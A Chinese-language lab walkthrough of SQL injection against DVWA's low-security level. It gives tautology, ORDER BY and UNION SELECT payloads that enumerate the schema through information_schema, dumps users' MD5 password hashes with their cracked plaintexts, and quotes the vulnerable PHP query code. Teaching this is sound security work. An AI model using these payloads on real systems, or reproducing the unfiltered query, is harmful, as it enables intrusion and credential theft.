看到的是一个输入框,输入数字有对应返回值
所以这里应该是一个注入点,使用恒真恒假式来尝试一下
输入
1' and '1'='2
返回无结果,确定此处为注入点
再用恒真式来显示所有结果
输入
1' or '1'='1
('1'='1'恒真,中间使用or连接则整个查询式子恒真,即可返回所有查询结果)
根据数据库的知识可以知道数据库对结果的排序语句为order by XXX
XXX为字段名称,第几列之类的
此处查询语句
1' or 1=1 order by 1#
(后面的1=1不需要单引号是因为我们增加了注释符号#,于是后面的语句都被注释掉了,则原函数尾部的单引号就不需要被闭合了)
查询结果如下
可以看出是根据First name的字母排序的,那此处有两个回显点,就是一下order by 2
查询语句
1' or 1=1 order by 2#
查询结果如下:
可以看出是根据Surname的字母排序的
再看有无第三个字段,查询
1' or 1=1 order by 3#
由此可知一共只有两个字段,即First name 和Surname
还可以使用联合查询的方式来猜解字段数
查询语句
'union select 1,2#
回显了字段数以及他们回显的位置,字段1回显于First name,字段2回显于Surname
由上一步知道了两个回显点,那我们就让这两个回显点显示出我们想要获取的信息,比如用户名和数据库名,使用联合查询,查询语句如下
'union select user(),database()#
数据库名称dvwa
与获取数据库名称方式相似,都是使用联合查询
查询语句
'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
或查询语句
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
下面来解释一下这个语句
首先,因为搭建DVWA环境使用的是Apache和MySQL数据库,所以有关SQL注入都是默认MySQL数据库的注入
在MySQL数据库中有一个系统默认的数据库叫做 information_schema,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
在information_schema数据库中有三个很重要的表,分别是
information_schema.schemata: 存储了mysql数据库中的所有数据库的库名information_schema.tables: 存储了mysql数据库中的所有数据表的表名information_schema.columns: 存储了mysql数据库中的所有列的列名此处使用的是information_schema.tables,因为我们这一步就是在查询表名,然后结合上一步查询到的数据库名,table_schema表示的是数据库名称,条件语句where table_schema='dvwa'
然后还使用了函数group_concat(table_name),意思是将查询到的table_name连在一起,默认用逗号分隔
更多参数解释详见文章查询语句参数详解
所以查询出了两个表,guestbook和users
查询语句
'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
方法和查询表名相同
查询到了字段名user和password这两个很关键的字段
查询语句
'union select user,password from users#
获取信息成功
很明显密码是加密存储的,根据格式,密码口令为32位,因此可能会md5哈希值,根据在线解密网站进行解密,得到口令明文如下
5f4dcc3b5aa765d61d8327deb882cf99——password
e99a18c428cb38d5f260853678922e03——abc123 8d3533d75ae2c3966d7e0d4fcc69216b——charley 0d107d09f5bbe40cade3de5c71e9e9b7——letmein 5f4dcc3b5aa765d61d8327deb882cf99——password至此所有信息已知,攻击者可以登陆后台进行后续操作
点击右下角View Source
SQL Injection Source vulnerabilities/sqli/source/low.php <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>由语句$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";可以明显看出网页对于输入的id没有进行任何过滤操作,此处攻击者可以构造SQL注入语句进行攻击。